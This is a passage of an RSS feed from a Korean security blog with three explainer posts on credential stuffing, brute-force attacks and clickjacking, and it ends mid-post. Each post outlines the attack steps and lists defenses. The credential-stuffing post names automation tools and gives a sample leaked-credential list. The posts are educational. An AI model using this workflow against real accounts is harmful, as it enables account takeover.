      <description>&lt;p data-end=&quot;88&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Credential Stuffing(크리덴셜 스터핑)**은&lt;br /&gt;&lt;b&gt;유출된 계정 정보를 자동화 도구로 여러 서비스에 반복적으로 로그인 시도하는 공격&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;92&quot; data-start=&quot;90&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;148&quot; data-start=&quot;94&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;다른 사이트에서 털린 ID/비밀번호를 가져다가 자동으로 대입하며 계정을 탈취하는 공격&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;192&quot; data-start=&quot;150&quot; data-ke-size=&quot;size16&quot;&gt;Brute Force와 비슷해 보이지만, 근본적으로 완전 다른 공격이야.&lt;/p&gt;
&lt;hr data-end=&quot;197&quot; data-start=&quot;194&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;229&quot; data-start=&quot;199&quot;&gt;  1. Credential Stuffing이란?&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;403&quot; data-start=&quot;231&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;305&quot; data-start=&quot;231&quot;&gt;공격자는 먼저 &lt;b&gt;다른 웹사이트에서 유출된 이메일/비밀번호 목록&lt;/b&gt;을 확보함&lt;br /&gt;(다크웹, 데이터 침해 사고, 유출 DB 등)&lt;/li&gt;
&lt;li data-end=&quot;355&quot; data-start=&quot;306&quot;&gt;그걸 자동화 스크립트/봇으로 여러 서비스(구글, 네이버, 쇼핑몰, 은행 등)에 넣어봄&lt;/li&gt;
&lt;li data-end=&quot;403&quot; data-start=&quot;356&quot;&gt;사용자가 같은 비밀번호를 여러 사이트에서 &lt;b&gt;재사용&lt;/b&gt;할 경우, 쉽게 계정이 털림&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;411&quot; data-start=&quot;405&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예:&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;공격자가 확보한 유출 정보&lt;/span&gt;&lt;span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span&gt; email1&lt;/span&gt;&lt;span&gt;&lt;span&gt;@gmail&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;com&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span&gt; qwer1234&lt;/span&gt;&lt;span&gt;&lt;span&gt;!&lt;/span&gt;&lt;/span&gt;&lt;span&gt; email2&lt;/span&gt;&lt;span&gt;&lt;span&gt;@naver&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;com&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;123456&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; 같은 정보로 다른 사이트에 로그인 시도 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;520&quot; data-start=&quot;517&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;567&quot; data-start=&quot;522&quot;&gt;  2. Brute Force vs Credential Stuffing 차이&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분Brute ForceCredential Stuffing
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;808&quot; data-start=&quot;569&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;808&quot; data-start=&quot;657&quot;&gt;
&lt;tr data-end=&quot;701&quot; data-start=&quot;657&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;665&quot; data-start=&quot;657&quot;&gt;시도 방식&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;681&quot; data-start=&quot;665&quot;&gt;가능한 모든 비번을 시도&lt;/td&gt;
&lt;td data-end=&quot;701&quot; data-start=&quot;681&quot; data-col-size=&quot;sm&quot;&gt;이미 유출된 실제 비번을 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;724&quot; data-start=&quot;702&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;710&quot; data-start=&quot;702&quot;&gt;성공 확률&lt;/td&gt;
&lt;td data-end=&quot;715&quot; data-start=&quot;710&quot; data-col-size=&quot;sm&quot;&gt;낮음&lt;/td&gt;
&lt;td data-end=&quot;724&quot; data-start=&quot;715&quot; data-col-size=&quot;sm&quot;&gt;매우 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;745&quot; data-start=&quot;725&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;731&quot; data-start=&quot;725&quot;&gt;자동화&lt;/td&gt;
&lt;td data-end=&quot;736&quot; data-start=&quot;731&quot; data-col-size=&quot;sm&quot;&gt;가능&lt;/td&gt;
&lt;td data-end=&quot;745&quot; data-start=&quot;736&quot; data-col-size=&quot;sm&quot;&gt;매우 활발&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;784&quot; data-start=&quot;746&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;754&quot; data-start=&quot;746&quot;&gt;공격 속도&lt;/td&gt;
&lt;td data-end=&quot;764&quot; data-start=&quot;754&quot; data-col-size=&quot;sm&quot;&gt;느릴 수 있음&lt;/td&gt;
&lt;td data-end=&quot;784&quot; data-start=&quot;764&quot; data-col-size=&quot;sm&quot;&gt;매우 빠름 (봇/프록시 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;808&quot; data-start=&quot;785&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;794&quot; data-start=&quot;785&quot;&gt;방어 난이도&lt;/td&gt;
&lt;td data-end=&quot;801&quot; data-start=&quot;794&quot; data-col-size=&quot;sm&quot;&gt;쉬운 편&lt;/td&gt;
&lt;td data-end=&quot;808&quot; data-start=&quot;801&quot; data-col-size=&quot;sm&quot;&gt;어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;813&quot; data-start=&quot;810&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;830&quot; data-start=&quot;815&quot;&gt;  3. 공격 시나리오&lt;/h1&gt;
&lt;p data-end=&quot;982&quot; data-start=&quot;832&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ 다크웹에서 1억 개 유출된 이메일/비밀번호 목록 구매&lt;br /&gt;2️⃣ 자동화 툴 사용 (ex. Sentry MBA, OpenBullet 등)&lt;br /&gt;3️⃣ 여러 웹사이트에 대량 로그인 요청&lt;br /&gt;4️⃣ 일치하는 계정을 찾아내기&lt;br /&gt;5️⃣ 정보 탈취, 결제 악용, 계정 도용&lt;/p&gt;
&lt;hr data-end=&quot;987&quot; data-start=&quot;984&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1024&quot; data-start=&quot;989&quot;&gt;  4. Credential Stuffing 발생 시 피해&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1150&quot; data-start=&quot;1026&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1046&quot; data-start=&quot;1026&quot;&gt;쇼핑몰 &amp;rarr; 포인트&amp;middot;적립금 탈취&lt;/li&gt;
&lt;li data-end=&quot;1072&quot; data-start=&quot;1047&quot;&gt;이메일 &amp;rarr; 개인 정보, 연락처 등 유출&lt;/li&gt;
&lt;li data-end=&quot;1093&quot; data-start=&quot;1073&quot;&gt;금융 계정 &amp;rarr; 결제/송금 악용&lt;/li&gt;
&lt;li data-end=&quot;1131&quot; data-start=&quot;1094&quot;&gt;회사 계정 &amp;rarr; 내부 시스템 침입(보안 관제에서도 격상 사건)&lt;/li&gt;
&lt;li data-end=&quot;1150&quot; data-start=&quot;1132&quot;&gt;MFA 미사용 기업은 큰 타격&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1155&quot; data-start=&quot;1152&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1170&quot; data-start=&quot;1157&quot;&gt;  5. 방어 방법&lt;/h1&gt;
&lt;h3 data-end=&quot;1193&quot; data-start=&quot;1172&quot; data-ke-size=&quot;size23&quot;&gt;✔ (1) MFA 필수 적용&lt;/h3&gt;
&lt;p data-end=&quot;1213&quot; data-start=&quot;1194&quot; data-ke-size=&quot;size16&quot;&gt;비밀번호가 노출돼도 계정 보호 가능&lt;/p&gt;
&lt;h3 data-end=&quot;1239&quot; data-start=&quot;1215&quot; data-ke-size=&quot;size23&quot;&gt;✔ (2) 로그인 시도 패턴 분석&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1309&quot; data-start=&quot;1240&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1266&quot; data-start=&quot;1240&quot;&gt;같은 IP에서 수백 개 계정 로그인 시도&lt;/li&gt;
&lt;li data-end=&quot;1291&quot; data-start=&quot;1267&quot;&gt;여러 국가에서 동시에 같은 계정 접속&lt;/li&gt;
&lt;li data-end=&quot;1309&quot; data-start=&quot;1292&quot;&gt;속도가 비정상적 (봇 패턴)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1333&quot; data-start=&quot;1311&quot; data-ke-size=&quot;size23&quot;&gt;✔ (3) CAPTCHA 적용&lt;/h3&gt;
&lt;p data-end=&quot;1349&quot; data-start=&quot;1334&quot; data-ke-size=&quot;size16&quot;&gt;봇 자동화를 큰 폭으로 차단&lt;/p&gt;
&lt;h3 data-end=&quot;1377&quot; data-start=&quot;1351&quot; data-ke-size=&quot;size23&quot;&gt;✔ (4) 비밀번호 재사용 방지 정책&lt;/h3&gt;
&lt;p data-end=&quot;1420&quot; data-start=&quot;1378&quot; data-ke-size=&quot;size16&quot;&gt;이미 유출된 비밀번호를 사용하지 못하게 막기&lt;br /&gt;(HIBP API 검사 등)&lt;/p&gt;
&lt;h3 data-end=&quot;1455&quot; data-start=&quot;1422&quot; data-ke-size=&quot;size23&quot;&gt;✔ (5) Rate-Limiting (속도 제한)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1487&quot; data-start=&quot;1456&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1471&quot; data-start=&quot;1456&quot;&gt;계정별, IP별 제한&lt;/li&gt;
&lt;li data-end=&quot;1487&quot; data-start=&quot;1472&quot;&gt;비정상 폭주 트래픽 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1514&quot; data-start=&quot;1489&quot; data-ke-size=&quot;size23&quot;&gt;✔ (6) WAF/보안관제에서 탐지&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1565&quot; data-start=&quot;1515&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1532&quot; data-start=&quot;1515&quot;&gt;User-Agent 변조&lt;/li&gt;
&lt;li data-end=&quot;1550&quot; data-start=&quot;1533&quot;&gt;여러 IP에서 반복 요청&lt;/li&gt;
&lt;li data-end=&quot;1565&quot; data-start=&quot;1551&quot;&gt;로그인 실패 폭증 알람&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1570&quot; data-start=&quot;1567&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1584&quot; data-start=&quot;1572&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1695&quot; data-start=&quot;1585&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Credential Stuffing = 다른 사이트에서 유출된 실제 비밀번호를 이용해 자동으로 로그인 시도하는 공격. 비밀번호 재사용이 핵심 원인. MFA와 속도 제한이 가장 효과적인 방어.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/354</guid>
      <comments>https://toastfactory.tistory.com/354#entry354comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:27:55 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Brute Force란?</title>
      <link>https://toastfactory.tistory.com/353</link>
      <description>&lt;p data-end=&quot;45&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Brute Force(무차별 대입 공격)**를 정리해줄게.&lt;/p&gt;
&lt;hr data-end=&quot;50&quot; data-start=&quot;47&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;73&quot; data-start=&quot;52&quot;&gt;  1. Brute Force란?&lt;/h1&gt;
&lt;p data-end=&quot;159&quot; data-start=&quot;75&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Brute Force 공격은 &lt;b&gt;가능한 모든 조합을 하나씩 시도하여 비밀번호, 암호화 키, 인증 토큰 등을 알아내는 공격&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;168&quot; data-start=&quot;161&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;p data-end=&quot;215&quot; data-start=&quot;170&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;모든 경우의 수를 다 시도해서 결국 맞는 값을 찾아내는 힘으로 하는 공격&amp;rdquo;&lt;/p&gt;
&lt;hr data-end=&quot;220&quot; data-start=&quot;217&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;235&quot; data-start=&quot;222&quot;&gt;  2. 공격 대상&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;393&quot; data-start=&quot;237&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;297&quot; data-start=&quot;237&quot;&gt;로그인 시스템
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;297&quot; data-start=&quot;253&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;268&quot; data-start=&quot;253&quot;&gt;웹/앱 로그인 페이지&lt;/li&gt;
&lt;li data-end=&quot;297&quot; data-start=&quot;272&quot;&gt;SSH, FTP, RDP 등 원격 접속&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;350&quot; data-start=&quot;298&quot;&gt;암호화된 데이터
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;350&quot; data-start=&quot;315&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;334&quot; data-start=&quot;315&quot;&gt;ZIP, PDF, 문서 암호&lt;/li&gt;
&lt;li data-end=&quot;350&quot; data-start=&quot;338&quot;&gt;해시된 비밀번호&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;393&quot; data-start=&quot;351&quot;&gt;인증 토큰 / API 키
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;393&quot; data-start=&quot;373&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;393&quot; data-start=&quot;373&quot;&gt;짧거나 예측 가능한 키일 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-end=&quot;398&quot; data-start=&quot;395&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;413&quot; data-start=&quot;400&quot;&gt;  3. 공격 방식&lt;/h1&gt;
&lt;h3 data-end=&quot;432&quot; data-start=&quot;415&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ 단순 무차별 대입&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;458&quot; data-start=&quot;433&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;458&quot; data-start=&quot;433&quot;&gt;가능한 모든 문자열 조합을 순차적으로 시도&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;password1&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; password2 &amp;rarr; password3 &amp;rarr; ... &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;543&quot; data-start=&quot;508&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ 사전 기반 공격(Dictionary Attack)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;604&quot; data-start=&quot;544&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;568&quot; data-start=&quot;544&quot;&gt;실제 사용자가 쓰는 비밀번호 목록을 이용&lt;/li&gt;
&lt;li data-end=&quot;604&quot; data-start=&quot;569&quot;&gt;예: &quot;123456&quot;, &quot;qwerty&quot;, &quot;password&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;627&quot; data-start=&quot;606&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ Hybrid Attack&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;697&quot; data-start=&quot;628&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;651&quot; data-start=&quot;628&quot;&gt;사전 공격 + 숫자/특수문자 조합 변형&lt;/li&gt;
&lt;li data-end=&quot;697&quot; data-start=&quot;652&quot;&gt;예: &quot;password&quot; &amp;rarr; &quot;password1&quot;, &quot;Password123!&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;702&quot; data-start=&quot;699&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;726&quot; data-start=&quot;704&quot;&gt;  4. 공격자가 얻을 수 있는 것&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;805&quot; data-start=&quot;728&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;737&quot; data-start=&quot;728&quot;&gt;계정 탈취&lt;/li&gt;
&lt;li data-end=&quot;751&quot; data-start=&quot;738&quot;&gt;관리자 권한 획득&lt;/li&gt;
&lt;li data-end=&quot;764&quot; data-start=&quot;752&quot;&gt;개인 정보 접근&lt;/li&gt;
&lt;li data-end=&quot;780&quot; data-start=&quot;765&quot;&gt;금융/결제 정보 탈취&lt;/li&gt;
&lt;li data-end=&quot;805&quot; data-start=&quot;781&quot;&gt;서비스 DoS 유발 (로그인 시도 폭주)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;810&quot; data-start=&quot;807&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;837&quot; data-start=&quot;812&quot;&gt;  5. Brute Force 방어 방법&lt;/h1&gt;
&lt;h3 data-end=&quot;858&quot; data-start=&quot;839&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) 비밀번호 정책 강화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;914&quot; data-start=&quot;859&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;874&quot; data-start=&quot;859&quot;&gt;최소 길이 8~12자&lt;/li&gt;
&lt;li data-end=&quot;900&quot; data-start=&quot;875&quot;&gt;대문자 + 소문자 + 숫자 + 특수문자&lt;/li&gt;
&lt;li data-end=&quot;914&quot; data-start=&quot;901&quot;&gt;비밀번호 재사용 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;934&quot; data-start=&quot;916&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) 로그인 시도 제한&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;985&quot; data-start=&quot;935&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;965&quot; data-start=&quot;935&quot;&gt;실패 시 계정 잠금 또는 일정 시간 로그인 차단&lt;/li&gt;
&lt;li data-end=&quot;985&quot; data-start=&quot;966&quot;&gt;예: 5회 실패 &amp;rarr; 15분 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1006&quot; data-start=&quot;987&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) CAPTCHA 적용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1027&quot; data-start=&quot;1007&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1027&quot; data-start=&quot;1007&quot;&gt;사람만 로그인 가능하도록 봇 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1052&quot; data-start=&quot;1029&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) MFA(2단계 인증) 적용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1074&quot; data-start=&quot;1053&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1074&quot; data-start=&quot;1053&quot;&gt;비밀번호가 노출돼도 추가 인증 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1095&quot; data-start=&quot;1076&quot; data-ke-size=&quot;size23&quot;&gt;✔ 5) 비밀번호 해시 저장&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1132&quot; data-start=&quot;1096&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1132&quot; data-start=&quot;1096&quot;&gt;해시 알고리즘 + salt 사용 (bcrypt, Argon2)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1154&quot; data-start=&quot;1134&quot; data-ke-size=&quot;size23&quot;&gt;✔ 6) IP/지역 기반 차단&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1192&quot; data-start=&quot;1155&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1180&quot; data-start=&quot;1155&quot;&gt;특정 IP에서 반복 실패 시 접근 제한&lt;/li&gt;
&lt;li data-end=&quot;1192&quot; data-start=&quot;1181&quot;&gt;이상 로그인 감지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1209&quot; data-start=&quot;1194&quot; data-ke-size=&quot;size23&quot;&gt;✔ 7) WAF 대응&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1254&quot; data-start=&quot;1210&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1229&quot; data-start=&quot;1210&quot;&gt;반복 로그인 시도 패턴 차단&lt;/li&gt;
&lt;li data-end=&quot;1254&quot; data-start=&quot;1230&quot;&gt;Credential Stuffing 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1259&quot; data-start=&quot;1256&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1273&quot; data-start=&quot;1261&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1366&quot; data-start=&quot;1274&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Brute Force = 가능한 모든 비밀번호/토큰 조합을 시도해 인증을 뚫는 공격으로, 비밀번호 강화, 로그인 제한, MFA, WAF 탐지로 방어해야 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/353</guid>
      <comments>https://toastfactory.tistory.com/353#entry353comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:26:59 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Clickjacking이란?</title>
      <link>https://toastfactory.tistory.com/352</link>
      <description>&lt;p data-end=&quot;46&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;웹 보안에서 유명한 &lt;b&gt;Clickjacking&lt;/b&gt;을 정리해줄게.&lt;/p&gt;
&lt;hr data-end=&quot;51&quot; data-start=&quot;48&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;76&quot; data-start=&quot;53&quot;&gt;  1. Clickjacking이란?&lt;/h1&gt;
&lt;p data-end=&quot;160&quot; data-start=&quot;78&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Clickjacking은 공격자가 &lt;b&gt;사용자가 클릭하는 UI를 속여서, 원래 의도와 다르게 행동하게 만드는 공격&lt;/b&gt;이야.&lt;br /&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;219&quot; data-start=&quot;162&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;보이는 화면과 실제 클릭되는 버튼이 다르게 만들어, 사용자를 속여 악성 행동을 하게 하는 기법&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;258&quot; data-start=&quot;221&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;258&quot; data-start=&quot;221&quot;&gt;별명: &lt;b&gt;UI redressing&lt;/b&gt;, &lt;b&gt;UI 가짜 조작&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;263&quot; data-start=&quot;260&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;278&quot; data-start=&quot;265&quot;&gt;  2. 공격 원리&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;375&quot; data-start=&quot;280&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;322&quot; data-start=&quot;280&quot;&gt;공격자가 투명 또는 가짜 버튼을 만들고, 정상 버튼 위에 덮어 놓음&lt;/li&gt;
&lt;li data-end=&quot;352&quot; data-start=&quot;323&quot;&gt;사용자가 클릭하면 공격자가 원하는 동작 수행&lt;/li&gt;
&lt;li data-end=&quot;375&quot; data-start=&quot;353&quot;&gt;사용자는 자신이 뭘 클릭했는지 모름&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;[사용자가 보는 화면] &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;무료 쿠폰 받기 버튼&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [실제로 클릭되는 화면] &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;계정 설정 삭제&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; / &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;관리자 권한 실행&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;517&quot; data-start=&quot;453&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;489&quot; data-start=&quot;453&quot;&gt;공격 대상: 버튼, 링크, 체크박스 등 모든 클릭 가능한 요소&lt;/li&gt;
&lt;li data-end=&quot;517&quot; data-start=&quot;490&quot;&gt;주로 iframe, CSS, 투명 레이어 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;522&quot; data-start=&quot;519&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;542&quot; data-start=&quot;524&quot;&gt;  3. 대표적인 공격 예시&lt;/h1&gt;
&lt;h3 data-end=&quot;561&quot; data-start=&quot;544&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ 관리자 권한 탈취&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;615&quot; data-start=&quot;562&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;590&quot; data-start=&quot;562&quot;&gt;공격자가 iframe으로 관리 페이지를 숨김&lt;/li&gt;
&lt;li data-end=&quot;615&quot; data-start=&quot;591&quot;&gt;일반 사용자가 클릭 &amp;rarr; 관리자 기능 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;639&quot; data-start=&quot;617&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ &amp;lsquo;좋아요&amp;rsquo;/&amp;lsquo;팔로우&amp;rsquo; 조작&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;689&quot; data-start=&quot;640&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;689&quot; data-start=&quot;640&quot;&gt;Facebook/Instagram 페이지에서 사용자 모르게 &amp;lsquo;좋아요&amp;rsquo;/&amp;lsquo;팔로우&amp;rsquo; 클릭&lt;/li&gt;
&lt;/ul&gt;
